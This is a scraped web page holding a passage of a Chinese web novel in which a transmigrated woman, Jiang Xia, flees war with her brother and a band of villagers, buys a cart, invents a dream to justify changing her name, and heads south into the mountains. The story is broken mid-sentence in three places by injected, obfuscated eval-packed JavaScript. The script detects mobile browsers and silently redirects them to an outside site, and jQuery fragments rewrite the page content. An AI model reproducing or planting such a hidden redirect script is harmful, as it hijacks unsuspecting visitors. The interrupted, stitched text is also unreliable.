l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668592|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人对于东西的爱惜程度这么高。 就当江夏准备放弃时,隔壁跑出来一个老妇人。 “哎,小姑娘,我听到你们说想要买板车,不论新旧?我家有啊,你们要不要买?”,老妇人苍老的脸上挂着笑。 “王婶,你要卖板车?”,江夏还没有反应,木匠却先开口问道,“你把板车卖了,老田叔还有家里的东西怎么带走?” “不走了”,王婶苦笑着说道,“我们老了,你老田叔腿又走不了路,出去也不一定能活下去,呆在家里说不定还能活下去。把板车卖了,留点钱给他们,之前为了治你大田叔把家里的钱都花光了” “那大虎知道吗?他同意吗?” “哎,我们做父母的,做事哪要他的同意”,老妇人转头又对着江夏说道,“还要买吗?虽然旧了点,但用着一点问题也没有,我只要你八两银子” “先去看看吧” “哎行,跟我来吧”,老妇人推开隔壁的院门,将他们领进去,从一间堆放杂物的房子里将车推了出来。 “你看,我没骗你吧,这车旧是旧了点,但还是很结实的,几个大男人坐都没有问题”,老妇人在旁边卖力推销着自家的车。 江夏看着面前的板车,车身的木板早已褪去原有的颜色,表面布满了层层叠叠的裂纹,车轮的木条也磨损得参差不齐,有的地方甚至露出了粗糙的木茬,仿佛随时会断裂。 她的嘴角有些抽搐,这哪是有点旧,这和废车也没有什么区别了吧! 老妇人估计也察觉到了江夏对于这辆车不太满意,连忙说道,“小姑娘,你别看它旧,这车从我公爹他们那时候家中就在用了,但这么多年来,它可是一点问题也没有的” “之前没有问题,可不代表之后没有问题”,江夏说道,“你也说了你公爹在时,这车就在用,那估计已经用了有二三十年了,谁也不知道它什么时候就会散架” “不会散架的,这车可是用上好的木头,请隔壁老蔡头打的。老蔡头你们不认识,刚才和你们说话的就是他儿子,他老子的手艺可是我们这十里八方出了名的好” “他手艺再好,这车也用了这么多年,十两银子我都能买个新的了” “十两银子买车也要看是什么时候,现在大家都忙着逃难,谁家会把车给卖了” “那我还可以去城里问问,不买新的,就问问有没有旧的。我相信偌大的一个县城想找一辆旧板车还是不难的” “哎你……”,老妇人说不过她,气得直跺脚,“那你说你肯出多少钱买” “四两” “四两!?这太少了!” 江夏也没有再说什么,只是扶着江诚站起身,准备往外走。 “哎,等等,再加点,五两怎么样?” “说是四两就是四两,既然你不愿意,那我们就没什么好聊的了。我们还要趁着天亮赶到县城,说不定就让我买到了。反而是你,我们走了,你就想卖也不一定会有人买” 听了江夏的话,老妇人的脸色一变,是的,现在大家都在收拾东西准备往外逃,哪还有什么人会来。 “行,听你的,四两就四两,但我要立马现钱”,老妇人站在江夏身后喊道。 江夏的嘴角勾起一抹笃信的笑容,转身时笑容已经藏起。 “没问题”,想当年她们寝室四人可是出了名的砍价小能手,虽然她比不上自己的室友,但和这些人相比还是可以的。 江夏冲着江诚颔首,他就心领神会,从荷包里掏出钱付给了老妇人。 这荷包还是江夏的,准确来说是江月的。江父江母虽然将江月送到了寺庙中,却没有不管她,每月都会派人给她送钱。江月花销不大,钱也基本都被她存了起来,这才攒了点钱。 而江诚因为是跑来替她过生辰的,身上并没有带多少钱,现在包袱里的几件衣服还是他之前在寺庙留宿时留下的。 8. 改名江夏 付过钱,周二就上前去推车,顺便将江夏扶到车上坐着。 江夏连忙道谢:“多谢周二叔”,说着又望向站着的其他人,“也多谢周大叔、周大婶,还有各位大哥。” 这些人和她们姐弟二人可没有什么血缘关系,能够不嫌弃他们拖累,还愿意带着他们一起逃难,这可不是一般的恩情。 尤其是周家兄弟二人,在自己也受伤的情况下,还背着江夏走了一路。 “没事,你之前不也救了我们吗。如果不是你将那北狄士兵拽下山崖,我们这些人早死在那里了”,周二一如既往好脾气的说着。 这话江夏可不敢真应下,一是因为那件事不是她做的,是江月所为。而江月做这件事的初衷也不是为了救这些人,而是为了救自己弟弟。 二是周家兄弟二人正直无私,现在出于感激将那件事的功劳都放在自己身上,他们可能没有什么感觉,但其他人的心里却未必没有想法。 “周二叔这话你说得出口,我却没法应下。能够从北狄军的刀下逃出来是我们所有人一起努力的结果,哪里是我一个人的功劳。而且要我说啊,你和周大叔的功劳才是最大的。” “没错!”,旁边人也一脸赞同的应和道,“如果不是周大哥、周二哥,我们是绝对活不下来的。我们就听周大哥和周二哥的” 周二一怔,回头冲着江夏说:“你这丫头!说我不能给你戴高帽,你倒好,转头把帽子扣我头上!” 江夏微微一笑:“我又没有说错,大家都是这样认为的啊” 周二摇着头,“你这丫头这张嘴是真能说,我说不过你”,又转头对走在旁边的李木说,“李木,你说这丫头脑子是怎么长的,怎么那么聪明,” 李木没理他,只加快脚步追上前面的周大。 周二也不恼,又扭头和林氏聊起天来,“大嫂你觉得呢?” “这有什么奇怪的。江掌柜就是平安城城里有名的能干人,将酒楼生意经营得那叫一个红火,小月是他女儿,自然不会差到哪去。不过十几岁的姑娘,说话做事比我们这一大把年纪都厉害。我看呐,说不定她还真是仙子转世” 林氏最后一句话是玩笑话,大家也都听懂了,不约而同笑出了声。 听着大家没有恶意的笑声,江夏的脑海中突然涌现出一个想法,既然江月之前关于鬼神一事,给人留下深刻印象那自己能否利用这一点,将自己的名字重新改为‘江夏’呢? 这个名字已经跟了她二十八年了,乍然听到别人叫她‘江月’,她实在是有点不习惯呢。 江夏轻咬着自己的下嘴唇,看着前方,该想个什么方法将自己自己的名字改回‘江夏’呢? 看到江夏坐在车上呆呆的望着天,似乎在想什么事情,周二等人也没有再打扰她,互相之间说着话,赶车往同州去。 周大走在前面,因为先前在老大夫那里看病,得知周大是几人中除了江夏,伤得最重的那一个,周二就接过照顾江夏的任务。 此刻听着后面传来的说话声,他也感到难得的放松。 “啊!”一声短促的惊呼,周大回头望去,是江诚摔倒了。 这路坑坑洼洼很不好走,加上他人小腿短,为了跟上队伍,不自觉的加快脚步,一脚没踩稳就摔倒了。 不等别人来扶,他就自己爬了起来,冲着众人道歉,“对不起,我不是故意的” 江诚苍白的小脸上满是汗珠,衣服上因为摔倒而沾上的泥土也没拍,就先向众人道歉。这孩子乖巧的令人心疼。 周大伸手将他抱上了板车。 “不了周大叔”,江诚缩着身子想往车下跳,“我不累,就不坐车了。周二叔身上还有伤,不能太累着” 周大拦住他,说道:“我们这里还有这么多人呢,他累了自然会换别人” “是啊,你这小短腿只会耽误我们的脚程”,李木嘴毒的在一旁补充道。 听了李木的话,江诚僵在原地,坐也不是,不坐也不是。 周二拍了李木一巴掌,“不会说话就别说话,人小孩儿都快被你说哭了” 林氏也安慰起江诚:“你李木哥是逗你的。你之前担心你阿姐,一路走过来,脸都白了也一声不吭,他是担心你” 看到江诚投来的目光,李木别扭的转开脸,嘴里却依旧不肯服软“嫂子,我才没有关心他。而且他凭什么喊我哥,他应该喊我叔” 周二又拍了他脑袋一巴掌,打趣道:“你一个没娶亲的毛头小子,想当人家叔,你也不嫌丢人” “我咋不能当他叔,我比那小子大了十岁!” “差十岁你就想当人家叔?你小子想得真美!” “我喊大哥二哥你们为哥,他喊你们为叔,他要再喊我哥,那这辈分不就乱了吗” “说得也是”,周二仿佛被他说动了一样。 “是吧,他就应该喊我叔” “那你跟他一样也喊我叔,这辈分不就不乱了嘛” “你就大我七岁,想让我喊你叔,不可能!” “哈哈哈哈哈哈哈哈!” 大家哄笑着,李木似乎也发现了自己被周二的话给绕进去了,可想了半天也没想出问题所在,只能挠了挠自己的头,不再提让江诚改称呼这件事,转而说起其他。 “这些人都是去哪里的啊?” 路上有不少从周边村庄逃离的村民,他们身上大包小包背满东西。 与这些村民相比,他们一伙人的东西就少的可怜,而且在看到他们衣服上满是脏污和血迹,村民默默离他们更远了些,轻易不敢靠近,生怕他们抢了自己的东西。 “不清楚,要不你去打听一下”,周二回道。 李木点点头,向着他们不远处的一队人走去。 那估计是几家人相约一起走的,里面有好几个壮劳力,板车上满满当当放满了藤箱,可见家境也是不错的。 只见李木过去与领头的男人说了几句就转头回来了。 “打听到他们是准备去哪里吗?” “他们说是要去方州投靠自家亲戚” 周二看着他,等了半天不见后文,“没了?” 李木摇摇头,“没了” “让你打听去哪儿,你就真只问个地点啊!” “可他们去方州,我们去同州,不同路啊,还要问什么” “你啊…”,周二看着他那憨样,就觉得手心发痒,想打他。 “好了老二,这事你擅长,你去打听打听”,周大开口。 周二将板车交丢了李木,转身朝着刚才那伙人走去。 那伙人看到李木走后,周二又过去了,脸上满是戒备。但也不知道周二说了什么,不多时,几人就有说有笑走在一起,好不亲热。 沿着乡间小路走了一个多时辰,才转到官道上。 官道夯实坚硬,落雨不陷,与刚才坑洼的小路相比,显得平稳又舒适。 坐在板车上的江夏在心中感叹,虽然远不上后世的柏油路,但经历了刚才的颠簸的小路,这条官道已经很好了。 天知道她现在身上有多疼,每一次的颠簸无异于往她伤口撒盐。 官道两旁没有高大的树木遮阴,初夏的太阳虽算不上毒辣,却依旧炙烤得人头昏脑胀。 周二终于从打听消息的那伙人中走了回来,“大哥,听他们说,前面有一座废弃了的山神庙,离这里大概十几里路,再往前就是颍上县城了,但如今城里情况不明,我觉得最好还是不要进城为好。今晚我们就在山神庙那里歇一夜吧” “行,听你的” 听到有落脚的地方,所有人又重振士气,大步向着他所说的城山神庙去。 山神庙的门口种着一棵高大的槐树,树冠蔚然低垂,将大半的庙宇都笼罩在树荫之下。大门已经倾倒,庙里不知名的山神像也被推倒在地,案桌上布满灰尘与蛛网。 走进去时,除了刚才周二打听消息的那伙人,还有七八人,本就不大的山神庙此刻也无法容纳他们这一队人了。 退出去,在庙前的大树下寻了处干净的地方一伙人就坐了下来。 天色渐暗,不等周大安排,其他人就默契的自发开始分工行动。拾柴的,清理地面的,打水烧水的,有条不紊。 林氏接过煮药的任务,熬药是个细致活,林氏不放心交给其他人。江诚也将自己的小陶罐递了过去,替江夏熬药。 水烧好后,众人又和中午一样各自分了一碗,就着热水啃着准备的干粮。 江夏中午的时候还没有醒,此刻算是她来到这个世界后吃的第一顿饭。 她和江诚的干粮是从寺庙里拿来的,有馒头和饼。 馒头的表面因为天热已经发霉了,饼暂时还没有发霉,江夏拿出一张饼子,撕了一大半给江诚,自己拿着剩下一小半的饼子慢慢啃着。 这种既没油水,又没荤腥的饼子,不但寡淡,而且干巴。江夏咬了一口,使劲嚼了半天,感觉腮帮子都酸了,赶紧喝了几口热水,仰头咽了下去。 简单吃过晚食,药也煮的差不多了。身上有伤的都分了一碗,江诚也小心翼翼的捧着陶罐送到江夏面前。 一股苦涩的味道冲入鼻腔,江夏却好像没有感觉,眼也不眨就喝了下去。 上辈子自己为了治疗癌症什么苦没有吃过,只要有用,她都会去尝试。 饭后众人三三两两聚在篝火旁闲聊着,江夏估摸着时机已到,深吸一口气,开口说道:“我想改个名字。” 话音落地,闲聊声戛然而止。数道目光齐刷刷地投向她,有疑惑,有好奇,也有不以为然的漠然。 “阿姐……”,江诚的小手猛地攥紧她的衣角,小脸瞬间失去血色,仰头望着她,眼中满是惶恐不安。 “好端端的,改什么名?”周二婶快人快语,直接问出了大家的疑惑。 江夏安抚地拍了拍江诚冰冷的手,转向众人,眉头微蹙,仿佛在努力回忆一个模糊的梦境:“那时我掉下山崖,昏死过去……迷迷糊糊间,像是走到一处地方。”她的声音放轻,带着一丝不易察觉的颤音。其他人不由自主屏息凝神听她往下说。 “那地方……黑得瘆人,真真是伸手不见五指。更可怕的是,黑暗里……好像有什么东西在盯着我。”说到这里,江夏像是再次感受到那地方的可怕,不自觉的抱住自己的双臂。 “我害怕极了,拼了命地想逃出去。可那黑暗无边无际,怎么跑都跑不到头……就在我筋疲力尽,快要绝望的时候……。忽然,”她顿了顿,再开口语气变得温柔,“一只手伸了过来,紧紧拉住了我。我看不清她的样子,只觉得……那手温暖又有力,带着一种说不出的安心。我便跟着她走。 可没走多远,后面就追来了许多人影,凶神恶煞。她护着我,挥手间便击退了一波,可对方人太多了,一波接一波……她渐渐不敌。” 江夏的声音低了下去,带着真切的紧张感:“眼看我们就要被那些人追上抓住,她猛地将我推向身后,一道柔和的,如同月光凝聚的光,从她掌心涌出,轻轻包裹住我。 就在光芒笼罩我的瞬间,我瞥见她的唇瓣翕动,彷佛急切地说着什么。但四周一片混沌,我根本听不清,唯有‘江夏’二字,如同烙印般清晰传入我的耳中。 “然后呢?”,果然有人按捺不住,急切地追问。 “然后那光猛地一闪,我就醒过来了……”江夏摊开手,一副自己也难以置信的模样。 江夏这一通话说下来是脸不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668593|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红,心不跳,非常流畅,这是她坐在车上想了好久的方法。 毕竟神鬼一事,信则有,不信则无,谁也无法求证。 江夏的话太过玄幻,可又描述的绘声绘色,如同亲历,众人听得入神,连之前漠不关心的人也竖起了耳朵。篝火噼啪作响,映着众人各异的神情。。 只有周大眉头紧锁,眼神锐利地审视着江夏:“这故事听着玄乎,可跟你改名有什么关系?”他向来是不信这些神神鬼鬼。 江夏等的就是他这句质疑。她迎上他的目光,坦然道:“周大叔问得好。醒来后,我也只当是自己惊惧过度做了个噩梦。可是……”她故意停顿,吊足了众人胃口。 “可是什么?”周大婶忍不住催促道。 “可是后来在车上,我脑子里反复想着那个梦,越想越不对……我发现自己脑子里,莫名其妙多出了好些东西,一些我从前绝不可能知道的知识。”江夏说着,俯身从篝火边捡起一根烧焦半截的木炭条,走到旁边的板车前,就着粗糙的木板,“沙沙”几笔勾勒起来。 不过片刻,一个清晰稚嫩的轮廓便跃然“板”上——正是江诚那张带着点婴儿肥的小脸!线条虽简单,却通过黑白两色的对比,精准描绘出一个人的肌肉走势和五官特征,远比时下常见的写意人物画更为逼真写实。 “哎呀!”子安年纪小,惊呼一声就凑了过去,“是阿诚!画得真像!” “这画好奇怪”周二也凑近了看,啧啧称奇,“从未见过如此写实的人物画法,倒像是把人脸拓印上去似的!”。 “没错!”江夏丢下炭条,声音带着一丝恰到好处的激动和敬畏,“这画闻所未闻,见所未见。而我也根本不会画这样的画,可现在我却能画出如此栩栩如生的人物像!除了神迹,我找不出其他理由。 所以它让我确信,那绝不仅仅是个梦!那位在绝境中救我的恩人,很可能来自……仙境!只有那个地方,才有这般神乎其技的画法。她最后呼唤的‘江夏’,或许就是她的仙名!她在告诉我她的名字!” 江夏转头,目光温柔而坚定地看向身边紧紧依偎着自己的江诚:“如今在这世上,只剩我和阿诚相依为命。我这条命是她救的,这身本事也是她赐予的。我感念她的恩情,更想借她的仙名福泽,护佑自身平安。唯有我平安,才能护住阿诚周全。若我有个闪失……他该怎么办?” 她声音微哽,轻轻抚摸着弟弟的头发,“我将名字改为‘江夏’,既是为了时时铭记这份仙缘恩德,也盼能得她冥冥中的庇护。想来爹娘地下有知,也会原谅我的……” 话音落,全场一片安静。“阿姐,我支持你。反正不管你叫什么,你都是我阿姐!”江诚率先打破沉默。 周大婶猛一拍大腿,声音又惊有喜:“小月果然是仙子转世,糟了大难还能囫囵个儿回来,如今更是得了个大造化。这改名好啊,改成这沾了仙气儿的名,往后你们姐弟二人定能平平安安!” “是啊,叫什么名字有什么关系,人还是那个人就行了。好多人小时候叫狗蛋,长大嫌不好听丢人,自己给自己改名的”,周二也开口说道。 他们二人的话说出口,让大家觉得江夏改名一事也并没有那么奇怪了。 而一旁一个瘦弱的长脸男人就不是很开心了,对着周二说道:“二哥你说就说,干嘛扯到我身上” 其他人这才反应过来,这刘老三小名不就叫狗蛋。 老人总认为给小孩取个贱名容易活,刘老三的父母也是这样想的,取名狗蛋,等到他长大,家里人叫顺口了,也没想着给他改名,狗蛋就成了他的大名,每次出去总受到其他小孩的耻笑。 后来他一气之下,跑到书院旁边,听到里面传来“富与贵,是人之所欲也……”,自己给自己取名叫富贵,既好听,寓意也好。 “哈哈哈哈……”,众人一阵哄笑,转而像江夏打听梦中仙子的细节,以及仙子是否给了她法力。 江夏能回答的都回答了,不能回答的就直接含糊带过。反正她只想将自己名字改回来,顺便把自己会画画这事过个明路。听到江夏说她只是会画画,并没有其他神奇的能力后,还嘀咕道“这世间竟还有专门掌管画画的神仙啊”。 夜色渐浓,困倦感涌了上来,大家的谈性也逐渐淡去。这几天的奔逃下来,大家都身心俱疲。江夏坐在板车上,看着林氏母子二人坐在地上,忙招呼道:“周大婶,快带子安上来休息吧,地上湿气重,寒气入骨可不得了。” 林氏连连摆手,“不了不了,你们坐吧,我们在地上将就一下就行了。” “周大婶,你还和我客气什么,要是受寒可就得不偿失了” 林氏还在犹豫,周大就先发话了,“让你坐你就坐吧,这丫头是个心诚的” 林氏这才顺从地拉着子安坐上车,对着江夏低声道了声谢。 “周大婶,这声谢该我来说才对。这一路如果不是你们,我们姐弟俩估计早就死了。周大叔这人做事最是公正无私,但又难免会忽略几分家人。按理来说,我应该早些喊你们上车的,但之前我们姐弟俩坐在车上靠着周二叔他们照顾,实在是不好意思开口……”江夏的语气诚恳,又带着羞愧。 “唉,你这丫头心里怎有这样的想法,婶娘是那么不讲理的人吗!”林氏说着,嘴角的笑意却更深了。 之前周大将江诚抱上车,却没有将自己儿子也抱上去。虽然有其他人帮着照顾子安,但要说林氏心里一点疙瘩也没有是不可能的。儿子也不过比江诚大了一岁而已,只是不好对周大生气,强自压在心里,却难免会对江夏姐弟二人产生些许芥蒂。 现在听到江夏的话,心里的那口郁气就消散了。 两人亲亲热热地聊了几句,就躺下休息了。 9. 改道岐州 清晨,远处不知名的鸟叫声此起彼伏,周围窸窸窣窣的声音不断在耳旁响起。江夏微睁开眼,太阳还未升起,只东边天空隐隐透出些许晨光,但其他人都已经开始起了。 江夏撑着身子坐了起来,感觉恢复了些力气,昨天那头昏脑胀的感觉似乎也减退了些,伸手一摸额头,果然热退了点,看来那药还是有用的。 “醒啦?”林氏正煮着东西,见她过来,顺手递了半张热乎乎的饼。 “这饼……?”江夏一愣。这一路上,大伙儿都默认各自管各自的吃食,毕竟谁也没多余的粮食分给别人。 “江诚给你留的。”林氏笑了笑,“他说你昨儿啃冷饼啃得难受,让我热着,等你醒了给你。” 她朝旁边努了努嘴,“喏,吃完饼再把药喝了。江诚那孩子天没亮就起来熬的,现在还温着呢。” 江夏接过饼,指尖传来温热的触感。饼皮软乎乎的,还带着一点焦香,和昨天又冷又硬的状态完全不同。她低头咬了一口,热腾腾的面香在嘴里化开,抿了抿唇。旁边的陶罐正煨着药汁,底下埋着未熄的余火,灰烬的暗红时隐时现,将药温的正好。 抬头四处张望,没有看到江诚,“周大婶,阿诚呢?怎么没看到他?” “他啊,他和你周大叔他们去前面颍上县,他说你的药不够了,要给你再买些药回来” “我们不去吗?” “人多危险,我们是要去往同州的,进不进颍上县都无所谓。你周大叔他们就是去打听一下如今的情况的” “那他们什么时候回来啊” “应该快了吧。你也不要太担心,有你周大叔他们在呢,会照顾好江诚的”,林氏笑着安慰她,手中的动作却丝毫没有停下来。 江夏笑了笑,起身想去帮林氏的忙,却被她拦住了,“你身体还没好,就好好休息吧,这点活我一个人就行了” 江夏也没推辞,“那就辛苦你了,周大婶,要是忙不过来,还一定要喊我”。其实帮忙这个事儿吧,重点不在真动手,而是得让人看见你有这份心。 这是职场人的生存指南! 江夏坐在火堆旁与林氏闲聊着,等她吃完饼又喝完药,没一会儿周大等人就回来了。 江诚看到她,拎着药包就向她跑来,“阿姐,你今天感觉怎么样?”,伸手摸了下她的额头。 “好多了。你买了些什么?”,他手上提着不仅有药包,还有一个小竹篮。 江诚小心翼翼地把篮子放在江夏面前,先取出一个青瓷瓶:“这是百草堂的金疮药,治外伤最管用了,待会儿让周大婶帮你涂上”,接着又摸出个硬币大小的精致小罐,紧紧攥在手心,“这是他们家的玉容霜,等阿姐头上的伤口结痂了抹上,就不会留疤了……”。他的声音渐渐低了下去,“钱不够,只够买这些。阿姐背上的伤.……等我以后赚了钱,一定给你买更好的药” 江夏看着篮子里除了药,还整齐码着几包小米、红枣和红糖,心头一紧:“这些东西不便宜吧?你哪来的钱?”虽然不太清楚这里的物价,但光看药的包装就知道价值不菲。 江诚低着头,手指不安地绞着衣角。 “你是不是...把长命锁卖了?“江夏声音发颤。除此之外,她实在想不出这孩子还能有什么值钱东西。 “路上不太平,说不定哪天就被人抢了……”江诚小声辩解,“还不如给阿姐买药……” 江夏胸口发闷。江诚什么东西都没有,全留在了平安城里,那锁是父母留给江诚唯一的念想,而自己这个“冒牌姐姐”对他来说不过是个陌生人…… “阿月,哦不是,阿夏,阿诚也是一片好心,你就别生气了”,周二叔在一旁轻声劝道。 “周二叔,我没有生气,我只是觉得有些难受……”,江夏感觉鼻子有些酸,手背上传来一股温热,江诚握着她的手,“阿姐,对我而言,你比锁更重要!” “可是……你再也没有爹娘留给你的东西了”,江夏的声音略带沙哑。 “我还有阿姐你啊”,江诚的话像一阵暖流,瞬间融化了江夏心中的坚冰。 是她太过固执,始终不愿承认自己已经成为了“江月”,把名字改回“江夏”,努力不去欠别人的人情,不与旁人产生过多的羁绊。却从来没曾想过,从她来到这个世界的那一刻起就已经成为局中人。 看着姐弟二人之间的气氛缓和,周二也放下心,“你们也过来听一听吧,我们可能要改道了” 江夏一脸疑惑的看向江诚,“我们去了县城,发现县城里也跑了好多人家,周大哥打听消息回来后,脸色就有些难看” 过去正好听到周大在说“……庆州王的叛军已经攻陷宁州,同州恐怕也撑不过这几日了”,周大蹲在一旁,用树枝在地上粗略地划出几道痕迹,“现在赶去同州,只怕会直接撞上叛军的先锋……” “那我们怎么办……!”,晨光映照下,众人的脸色都变得凝重。方才的轻松氛围荡然无存,取而代之的是沉重的喘息声。 周大用树枝点了点地面,“眼下只有两条路。一是向南,取道岐州——那里是皇陵所在,朝廷必定派重兵把守。二是向东,直奔京城方向,或许能遇上朝廷平叛的大军……”,他顿了顿,目光扫过每一张疲惫的脸,“但无论选哪条路,都是千里跋涉,九死一生。谁也不知道路上会遇到什么。” “往南走不是会经过同州吗?”,陈青皱眉问道。 陈青和陈东是堂兄弟,平时常跟在李木身后,不多话。 “没错”。周大点点头,“所以若是选南线,我们就得避开官道,甚至不能走大路,只能翻山越岭走小道。” “那如果往东走呢” “东线看似平坦,但通州上月刚遭地龙翻身,青州更是大旱三年,赤地千里,如今那条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668594|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上,饿疯了的流民比狼还凶,落草的盗匪比蝗虫还多”,周大沉声道,“而且朝廷若真派兵平叛,两军交战之处,我们这种流民反而最容易遭殃。” 周大说完,众人陷入沉默,只有风声和鸟鸣声在晨光中格外清晰。 “我选岐州”,一直沉默的听着众人说话的江夏开口说道,“山路虽然难走,但至少能避开敌军。若是运气好,说不定还能采些野菜野果充饥。”他们现在身上的干粮都不多了。 “可山里野兽多……”,刘老三忧心忡忡。 “野兽再可怕,也没有人可怕”,江夏冷笑,“你们难道忘了死在北狄士兵刀下的平安百姓了吗?” 刘老三猛地打了个寒战,他当然记得了,他还记得自己老子娘在自己面前被北狄士兵一刀砍了半个身子,鲜血溅在自己脸上时温热的触感,至今仍会在午夜梦回时将他惊醒。 “而且”,江夏的声音愈发冷峻,“朝廷何时真正在意过我们这些人的死活?若非官府昏庸无能,怎会有这么多走投无路的百姓沦为流寇?往京城去,只怕我们不是死在敌人手中,而是要命丧自己人之手。” 江夏这番诛心之言可谓是大逆不道,却让在场众人无不默然。对这些世代生活在西北边陲的百姓而言,所谓的朝廷本就遥不可及。当今天子登基以来,苛政如虎,民不聊生,所谓的“民心所向”早已在连年饥荒战乱中消磨殆尽。 “那要是……要是走散了怎么办?”刘老三迟疑着问道。 “那就记住——一直往南。”周大从怀中掏出一块破旧的布条,小心地展开,“这是我们之前走镖时从一个老镖头手中买来的地图,虽然粗糙,但勉强能辨明方向。我们先向西绕到那座山上,然后向南走。” 众人纷纷点头应和,开始收拾各自简陋的行囊。李木利落地将自己的行李放在板车上,顺手接过车把,还招呼着其他人,“把重的东西都放上来吧。” 几个同伴略显迟疑,目光在板车和江夏之间游移——毕竟这车是江夏出的钱买的。 “这有什么好客气,没有我们出力,她这车还能自己长腿跑不成吗”,李木拍了拍板车,语气强硬,话也说得毫不客气。 其实江夏对李木印象不差。这人虽然说话直来直去,但意外地合她脾气。这几日总受别人照顾反而让她浑身不自在,她向来最不愿欠人情。李木这般不客气的举动,倒让她暗自松了口气。 “李木哥说得对”,江夏笑着接话,“大家千万别跟我客气,有什么尽管放。这一路上,还得靠各位多照应呢。” 见主人家都这么说了,众人这才放下心来,说说笑笑地将一些沉重的行李搬上了板车。 当第一缕晨光刺破云层时,这支小小的队伍已经踏上了南下的山路。江夏坐在车上望着远处起伏的山影,恍惚间觉得它们像一群蛰伏的巨兽,正静静等待着吞噬他们这群无家可归的流民。 10. 十万大山 自西北向南,山峦起伏,连绵不绝,山脉层层叠叠,云雾缭绕间根本望不到边际。先前为躲避北狄追兵,他们仓皇逃入的大北牛山,不过是这浩瀚山海中微不足道的一隅,所以周围人称这群山为十万大山。 十万大山宛若一条巨龙盘踞在大澧朝的疆域之上,山高林密,常有猛兽出没,危机四伏,人一旦进去大山深处,稍不留神就会永远迷失在其中。 而十万大山的可怕之处不仅在于它的广袤,更在于它那令人窒息的未知。在大山旁边长大的孩子自小就是听着大山的传言长大,各种荒诞诡谲的传言让这十万大山更为深邃莫测,令人望而生畏。 踏上这条路时,所有人的心里都有些胆战心惊。 刚开始的山路靠近大路,可能时常还有附近的村民上山,路还算平坦开阔,可越往山里走,那路就变得越难走,杂草丛生,稍不留神就卷进车轱辘里,被迫停下来清理杂草。一路走走停停,花了一上午,这才勉强翻过两座山。 此时太阳已经升上头顶,林间气温逐渐变得粘腻闷热,再继续走下去,只怕会有人中暑倒下。 “先在此处休息一下吧”,周大说道。这里地势较为平坦开阔,旁边树木高大,树叶遮天蔽日,挡住了烈日的炙烤,再加上时不时吹来的凉爽山风,让人顿觉心旷神怡。 一听到能够停下休息,就有人啥也不顾的往地上一躺,气喘如牛。 “起来”,周二踢了踢躺在地上的刘老三,“小心有毒虫啥的咬你。” 这话一出,刘老三蹭的就从地上跳了起来,边叫边使劲拍打着自己的衣服。 “……” 其余人将地上的杂草清理干净,找来干净的树叶铺在地上,这才坐下来休息。 江夏虽然坐在车上,但也感觉到行路的艰难,多次想要下车自己走,都被他们拦住了。 考虑到自己的确重伤未愈,强行下车走路也起不到什么作用,只能勉强着坐在车上。而江诚却是怎么也不肯再坐在车上,扶着车慢慢走着。 此刻见江诚脸色苍白,江夏忍不住伸手替他擦去头上的汗水,又给他递上水,担心问道:“怎么样?是不是累着了?来,喝口水,先别急着吞进去,含一会儿再吞” 江诚听话的照做,原本干的冒烟的喉咙真的舒服多了。“我没事的阿姐,你不用担心我。” 不仅江诚,其他人的脸色也没好到哪里。此刻都瘫在地上,大口喝着水。 江夏看着众人疲惫不堪的样子,忍不住开口提议道:“周大叔,要不我们先找个地方休整几天?大家身上都带着伤,这样硬撑着赶路太危险了”。她指了指四周,“这里已经远离官道,又还没到深山内围,既不用担心追兵,也不会遇到太凶猛的野兽。” 江夏的提议得到众人的同意,“是啊,大哥,我觉得小夏说得有道理。我们不能这样贸然深入大山,还是应该从长计议。” 周大对此没有任何异议,他也常进山打猎,自然知道身体状态不好时进山无异于自杀,之前只是为了避开军队,仓促间决定躲进山中,此时,既然已经在山中了,自然不用太过紧张。 “好,那我们就先找个落脚点”,但这落脚点该选在哪里又是个问题。 “最好能找个隐蔽的山洞”,李木说道,“既能遮风挡雨,又能防备野兽。”可这样的地方岂是轻轻松松就能找到的。 找山洞这事急不来,至少眼下不可能马上就找到,还得慢慢在林子里搜寻。 “再往前走一段吧,看看有没有合适的地方让我们今晚先住下”,周二说道,“实在找不到山洞,我们也能自己搭个棚子。” 众人点点头,稍作休整后,便继续沿着山路前行。这一次,他们不再急于赶路,而是仔细搜寻着适合落脚的地方。 江夏坐在车上,目光仔细扫视着周围的景象。她自小和爷爷奶奶生活在乡下,长大后也经常去一些自然保护区采风,对于山林其实并不算陌生。但眼前这十万大山远比她所熟悉的高山峻岭要险恶得多——古树参天,藤蔓盘结,偶尔还能听见远处传来的奇怪叫声,令人毛骨悚然。 她仔细观察着山势的走向,忽然指向一处山坳,“你们看那里!” 众人顺着她的手指看去,只见山坳处有一块略微平坦的空地,背靠陡峭山壁,前方视野开阔。倒是个落脚的好去处。 那空地明明看着近在咫尺,可众人却在密林中七拐八绕地走了大半个时辰,才终于抵达。 留下周二和刘老三负责清理地上的灌木丛,周大带着李木,陈青陈东三人去找水和食物,顺便探查一下周围的地势。 林氏则带着子安和江诚去林子里拾柴去了。一时间就只有江夏一个“无业游民”呆在原地。 